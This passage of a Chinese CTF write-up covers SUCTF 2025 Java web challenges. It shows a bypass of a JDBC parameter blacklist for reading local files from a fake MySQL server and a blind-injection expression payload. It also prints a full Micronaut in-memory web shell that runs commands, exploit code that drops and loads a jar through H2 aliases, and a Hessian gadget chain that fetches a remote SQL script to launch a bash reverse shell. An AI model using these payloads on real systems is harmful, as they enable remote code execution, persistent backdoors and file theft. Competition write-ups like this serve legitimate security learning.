"allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#" ; public static void checkJdbcConnParams (String str, Integer num, String str2, String str3, String str4, Map<String, Object> map) throws Exception { if (Boolean.valueOf(MYSQL_SECURITY_CHECK_ENABLE).booleanValue()) { if (StringUtils.isAnyBlank(new CharSequence []{str, str2})) { throw new Exception ("Invalid mysql connection params." ); } String format = String.format(MYSQL_CONNECT_URL, str.trim(), num, str4.trim()); checkHost(str.trim()); checkUrl(format); checkParams(map); checkUrlIsSafe(format); } } public static void checkHost (String str) throws Exception { if (str == null ) { return ; } if (str.startsWith("(" ) || str.endsWith(")" )) { throw new Exception ("Invalid host" ); } } public static void checkUrl (String str) throws Exception { if ((str == null || str.toLowerCase().startsWith(JDBC_MYSQL_PROTOCOL)) && !Pattern.compile(JDBC_MATCH_REGEX).matcher(str).matches()) { throw new Exception (); } } private static Map<String, Object> parseMysqlUrlParamsToMap (String str) { if (StringUtils.isBlank(str)) { return new HashMap (); } String[] split = str.split(AND_SYMBOL); HashMap hashMap = new HashMap (split.length); for (String str2 : split) { String[] split2 = str2.split(EQUAL_SIGN); if (split2.length == 2 ) { hashMap.put(split2[0 ], split2[1 ]); } } return hashMap; } public static String parseParamsMapToMysqlParamUrl (Map<String, Object> map) { return (map == null || map.isEmpty()) ? "" : (String) map.entrySet().stream().map(entry -> { return String.join(EQUAL_SIGN, (CharSequence) entry.getKey(), String.valueOf(entry.getValue())); }).collect(Collectors.joining(AND_SYMBOL)); } private static void checkParams (Map<String, Object> map) throws Exception { if (map == null || map.isEmpty()) { return ; } try { Map<String, Object> parseMysqlUrlParamsToMap = parseMysqlUrlParamsToMap(URLDecoder.decode(parseParamsMapToMysqlParamUrl(map), "UTF-8" )); map.clear(); map.putAll(parseMysqlUrlParamsToMap); Iterator<Map.Entry<String, Object>> it = map.entrySet().iterator(); while (it.hasNext()) { Map.Entry<String, Object> next = it.next(); String key = next.getKey(); Object value = next.getValue(); if (StringUtils.isBlank(key) || value == null || StringUtils.isBlank(value.toString())) { it.remove(); } else if (isNotSecurity(key, value.toString())) { throw new Exception ("Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(map)); } } } catch (UnsupportedEncodingException e) { throw new Exception ("mysql connection cul decode error: " + e); } } private static boolean isNotSecurity (String str, String str2) { boolean z = true ; String str3 = MYSQL_SENSITIVE_PARAMS; if (StringUtils.isBlank(str3)) { return false ; } String[] split = str3.split(COMMA); int length = split.length; int i = 0 ; while (true ) { if (i >= length) { break ; } else if (isNotSecurity(str, str2, split[i])) { z = false ; break ; } else { i++; } } return !z; } private static boolean isNotSecurity (String str, String str2, String str3) { return str.toLowerCase().contains(str3.toLowerCase()) || str2.toLowerCase().contains(str3.toLowerCase()); } public static void checkUrlIsSafe (String str) throws Exception { try { Matcher matcher = Pattern.compile(BLACKLIST_REGEX).matcher(str.toLowerCase()); StringBuilder sb = new StringBuilder (); while (matcher.find()) { if (sb.length() > 0 ) { sb.append(", " ); } sb.append(matcher.group()); } if (sb.length() > 0 ) { throw new Exception ("url contains blacklisted characters: " + ((Object) sb)); } } catch (Exception e) { throw new Exception ("error occurred during url security check: " + e); } } public static void appendMysqlForceParams (Map<String, Object> map) { map.putAll(parseMysqlUrlParamsToMap("allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false" )); } }
然后就是一个正常打JDBC读文件:
提示了 reason: not valid java name and contains not printable characters
检查逻辑后可以发现 host 字段的正则 Reg 可以进行注入:
1 "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?" ;
([^:]+)
可以一直匹配所有非冒号字符串
通过 url 全字符编码可以绕过关键词匹配waf
可以使用 # 来忽略最后插入的安全策略
按照上述描述将下列字段注入到host中:
1 allowLoadLocalInfile=true &allowUrlInLocalInfile=true &allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
使用MySQL_Fake_Server读取客户端文件就出了:
1 host=ADDRESS=(host=8.140 .251 .152 )(port=3306 )(database=test)(user=fileread_file%3A%2F %2F %2F .)(%61 %6c%6c%6f %77 %4c%6f %61 %64 %4c%6f %63 %61 %6c%49 %6e%66 %69 %6c%65 =true )(%61 %6c%6c%6f %77 %4c%6f %61 %64 %4c%6f %63 %61 %6c%49 %6e%66 %69 %6c%65 %49 %6e%50 %61 %74 %68 =%2F )(%61 %6c%6c%6f %77 %55 %72 %6c%49 %6e%4c%6f %63 %61 %6c%49 %6e%66 %69 %6c%65 =true )(%6d %61 %78 %41 %6c%6c%6f %77 %65 %64 %50 %61 %63 %6b%65 %74 =655360 ) #/test&port=3306 &database=test&extraParams={}&username=test&password=root
欧阳学长还说会自动两次URL解码,也能直接打。
(本地环境有点问题,就不演示了xxxx)
SU_ez_micronaut 欧阳学长和赵哥靠着盲注再次拿下,tql。
这里保护一下版权就不放完整exp了,关键就是使用了:
1 payload=f"""eyIxIjoiMSJ9<--->new('cn.hutool.extra.expression.engine.jexl.JexlEngine').eval("if(new('cn.hutool.core.io.FileUtil').readUtf8String(new('cn.hutool.core.io.FileUtil').file('/flag.txt')).charAt({j} )=={i} ){{new('java.lang.Thread').sleep(5000);}}",null)<--->admin"""
来进行逐字节盲注:
这道题官方wp写的很精彩,理解起来也有点小难度,复现也有点难绷emmm。。。
详见:ez-micronaut
里面还有micronaut内存马挖掘的思路。
内存马做好之后,这里有两种思路,第一种是直接将注入内存马的代码按照h2 sql的语法进行编码转换执行,但是比较麻烦,需要将import的类都写成全类名进行使用。
第二种将jar包读取为二进制流再base64写到服务器,再使用loadClass加载:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS ' void base64ToJar(String base64Data, String filePath) throws java.io.IOException { byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data); try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) { fos.write(jarBytes); } } ' ;CREATE ALIAS IF NOT EXISTS LOAD_JAR AS ' void loadJar(String jarPath, String className, String methodName) throws Exception { java.net.URL jarUrl = new java.net.URL("file:" + jarPath); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl}); Class<?> loadedClass = classLoader.loadClass(className); Object instance = loadedClass.getDeclaredConstructor().newInstance(); java.lang.reflect.Method method = loadedClass.getMethod(methodName); method.invoke(instance); } ' ;CALL BASE64_TO_JAR('你的base64数据' , 'yourfile.jar' );CALL LOAD_JAR('yourfile.jar' , 'com.example.YourClass' , 'executeMethod' );
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 package micronaut.poc;import io.micronaut.core.propagation.PropagatedContextElement;import io.micronaut.core.util.SupplierUtil;import io.micronaut.http.HttpRequest;import io.micronaut.http.MutableHttpResponse;import io.micronaut.http.filter.*;import io.micronaut.http.server.RouteExecutor;import io.micronaut.http.server.netty.NettyHttpRequest;import io.micronaut.web.router.DefaultRouter;import io.netty.util.internal.InternalThreadLocalMap;import org.reactivestreams.Publisher;import reactor.core.publisher.Flux;import sun.misc.Unsafe;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Scanner;import java.util.function.Supplier;public class EvilFilter { public void hacked () { try { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) unsafeField.get(null ); Thread currentThread = Thread.currentThread(); if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread" )) { Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap" ); long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField); InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset); Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables" ); indexedVariablesField.setAccessible(true ); Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap); Object indexedVariable = null ; for (Object variable : indexedVariables) { System.out.println(variable.getClass().getName()); if (variable.getClass().getName().contains("PropagatedContextImpl" )) { indexedVariable = variable; break ; } } if (indexedVariable != null ) { Field elementsField = indexedVariable.getClass().getDeclaredField("elements" ); elementsField.setAccessible(true ); PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable); PropagatedContextElement element = elements[0 ]; if (element != null && element.getClass().getName().contains("ServerHttpRequestContext" )) { Field httpRequestField = element.getClass().getDeclaredField("httpRequest" ); httpRequestField.setAccessible(true ); NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element); Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext" ); channelHandlerContextField.setAccessible(true ); Object channelHandlerContext = channelHandlerContextField.get(httpRequest); Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler" ); handlerField.setAccessible(true ); Object handler = handlerField.get(channelHandlerContext); Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler" ); requestHandlerField.setAccessible(true ); Object requestHandler = requestHandlerField.get(handler); Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor" ); routeExecutorField.setAccessible(true ); RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler); Field routerField = routeExecutor.getClass().getDeclaredField("router" ); routerField.setAccessible(true ); DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor); Field alwaysMatchesHttpFiltersField = router.getClass().getDeclaredField("alwaysMatchesHttpFilters" ); alwaysMatchesHttpFiltersField.setAccessible(true ); Supplier<ArrayList<GenericHttpFilter>> alwaysMatchesHttpFilters = (Supplier<ArrayList<GenericHttpFilter>>) unsafe.getObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField)); ArrayList<GenericHttpFilter> filters = alwaysMatchesHttpFilters.get(); HttpServerFilter hackedFilter = new HttpServerFilter () { @Override public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) { String cmd = request.getParameters().get("cmd" ); String output = "" ; try { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); output = s.hasNext() ? s.next() : "" ; } catch (IOException ioe) { ioe.printStackTrace(); } String finalOutput = output; return Flux.from(chain.proceed(request)) .doOnNext(response -> { response.body(finalOutput); }); } }; Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter" ); Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass); Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class); constructor.setAccessible(true ); FilterOrder dynamicOrder = new FilterOrder .Dynamic(0 ); Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder); filters.add((GenericHttpFilter) aroundLegacyFilter); unsafe.putObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField), SupplierUtil.memoized(() -> filters)); } else { System.out.println("element不是ServerHttpRequestContext类型。" ); } } else { System.out.println("未找到类型为PropagatedContextImpl的变量。" ); } } else { System.out.println("当前线程不是Netty的线程类型。" ); } } catch (Exception e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 package hello.micronaut;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import com.google.gson.Gson;import com.google.gson.GsonBuilder;import hello.micronaut.bean.User;import hello.micronaut.utils.BeanUtil;import io.micronaut.http.HttpRequest;import io.micronaut.http.HttpResponse;import io.micronaut.http.MediaType;import io.micronaut.http.client.HttpClient;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.net.URL;import java.util.Base64;public class Exp { public static void main (String[] args) throws Exception { String loadClassName = "micronaut.poc.EvilFilter" ; String loadClassPath = "/tmp/b.jar" ; String loadClassMethodName = "hacked" ; String loadClassPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS LOAD_JAR AS \\'void loadJar(String jarPath, String className, String methodName) throws Exception {java.net.URL jarUrl = new java.net.URL(\\\"file:\\\" + jarPath)\\;java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl})\\;Class<?> loadedClass = classLoader.loadClass(className)\\;Object instance = loadedClass.getDeclaredConstructor().newInstance()\\;java.lang.reflect.Method method = loadedClass.getMethod(methodName)\\;method.invoke(instance)\\;}\\'\\;CALL LOAD_JAR(\\'" + loadClassPath + "\\', \\'" + loadClassName + "\\', \\'" + loadClassMethodName + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']" ; String jar2base64Path = "/Users/a1234/data/codes/java/micronaut-poc/target/original-micronaut-poc-0.1.jar" ; String jar2base64 = jar2base64(jar2base64Path); String writeJarPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS \\'void base64ToJar(String base64Data, String filePath) throws java.io.IOException {byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\;try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {fos.write(jarBytes)\\;}}\\'\\;CALL BASE64_TO_JAR (\\'" + jar2base64 + "\\',\\'" + loadClassPath + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']" ; Gson gson = new GsonBuilder () .create(); BeanUtil beanUtil = new BeanUtil (); beanUtil.setUrl("http" ); String json = gson.toJson(beanUtil, BeanUtil.class); System.out.println(json); String poc1 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + writeJarPoc + "<--->" + "admin" ; String poc2 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + loadClassPoc + "<--->" + "admin" ; User poc1User = new User ("admin" , "1" , Base64.getEncoder().encodeToString(poc1.getBytes())); User poc2User = new User ("admin" , "1" , Base64.getEncoder().encodeToString(poc2.getBytes())); ObjectMapper objectMapper = new ObjectMapper (); System.out.println(objectMapper.writeValueAsString(poc1User)); System.out.println("send1" ); sendPostRequest("http://127.0.0.1:8080" , "/hello/user" , objectMapper.writeValueAsString(poc1User)); System.out.println("send2" ); sendPostRequest("http://127.0.0.1:8080" , "/hello/user" , objectMapper.writeValueAsString(poc2User)); } public static String jar2base64 (String jarPath) { File jarFile = new File (jarPath); try (FileInputStream fis = new FileInputStream (jarFile)) { byte [] jarBytes = new byte [(int ) jarFile.length()]; fis.read(jarBytes); return Base64.getEncoder().encodeToString(jarBytes); } catch (IOException e) { e.printStackTrace(); return "" ; } } public static String sendGetRequest (String url, String endpoint) { try (HttpClient httpClient = HttpClient.create(new URL (url))) { HttpRequest<String> request = HttpRequest.GET(endpoint); HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class); return response.body(); } catch (Exception e) { return "Error: " + e.getMessage(); } } public static String sendPostRequest (String url, String endpoint, String data) { try (HttpClient httpClient = HttpClient.create(new URL (url))) { HttpRequest<String> request = HttpRequest.POST(endpoint, data) .contentType(MediaType.APPLICATION_JSON); HttpResponse<String> response = httpClient.toBlocking().exchange(request, String.class); return response.body(); } catch (Exception e) { return "Error: " + e.getMessage(); } } }
SU_ez_solon 单纯的找链子:
1 2 3 4 5 6 7 8 9 10 11 12 public class IndexController { public IndexController () { } @Mapping("/hello") public String hello (@Param(defaultValue = "hello") String data) throws Exception { byte [] decode = Base64.getDecoder().decode(data); Hessian2Input hessian2Input = new Hessian2Input (new ByteArrayInputStream (decode)); Object object = hessian2Input.readObject(); return object.toString(); } }
解题整体的思路不难想到,因为在依赖中可以明确的发现有h2
和jackson
依赖,从这也能推测得出出题人十之八九是要找一个getter
到jdbc
的链子,不会是打什么二次反序列化或者JNDI,h2
肯定是最终的sink。这一步用codeql
或者其他的静态分析工具就会很快得出结果。
第二步是对securityManager
的绕过,这有两种思路
通过反序列化直接关闭securityManager
写so
加载进行二次利用
这里是sofa的hessian,自带了一个反序列化类的黑名单,h2的相关database直接被ban了。所以我们需要自己找一个新的构造链来打。
这里找到的是org.noear.solon.data.util.UnpooledDataSource
来调用getConnection()
:
1 2 3 [JDBC Gadget] <org.noear.solon.data.util.UnpooledDataSource: java.sql.Connection getConnection () > -> <java.sql.DriverManager: java.sql.Connection getConnection (java.lang.String) >
即
1 JSONObject.toString()->UnpooledDataSource.getConnection()->h2RCE
第二点就是绕这个securityManager
,可以
通过反序列化直接关闭 securityManager
写 so 加载进行二次利用
SecurityManager
的限制可以直接调用System.setSecurityManager(null);
而且传参别看走眼了,这里传的不是hello是data。。。
EXP 来自Syclover战队的wp:
1 CREATE ALIAS GSBPPP12 AS $$ String shellexec(String cmd) throws java.io.IOException { System.setSecurityManager(null );java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec (cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL GSBPPP12('bash -c {echo,aaa}|{base64,-d}|{bash,-i}' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.eddiemurphy;import com.alibaba.fastjson.JSONObject;import org.noear.solon.data.util.UnpooledDataSource;import java.net.URLEncoder;public class Exp { public static void main (String[] args) throws Exception{ UnpooledDataSource unpooledDataSource = new UnpooledDataSource ("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://vps/poc.sql'" ,"GSBP" ,"GSBP" ,"org.h2.Driver" ); unpooledDataSource.setLogWriter(null ); JSONObject jsonObject = new JSONObject (); jsonObject.put("xx" , unpooledDataSource); String payload = Util.hessianSerialize(jsonObject); System.out.println(payload); System.out.println(URLEncoder.encode(payload, "UTF-8" )); } }
三折叠,怎么折都有面😋😋😋~~~
SU_PWN 未完待续…
参考:
2025 SUCTF wp
Syclover-SUCTF-WP
ez-micronaut
SU_ez_solon
SUCTF 2025 Writeup ::
SUCTF-2025/web/sujava/writeup at main · team-su/SUCTF-2025 · GitHub
SU_PWN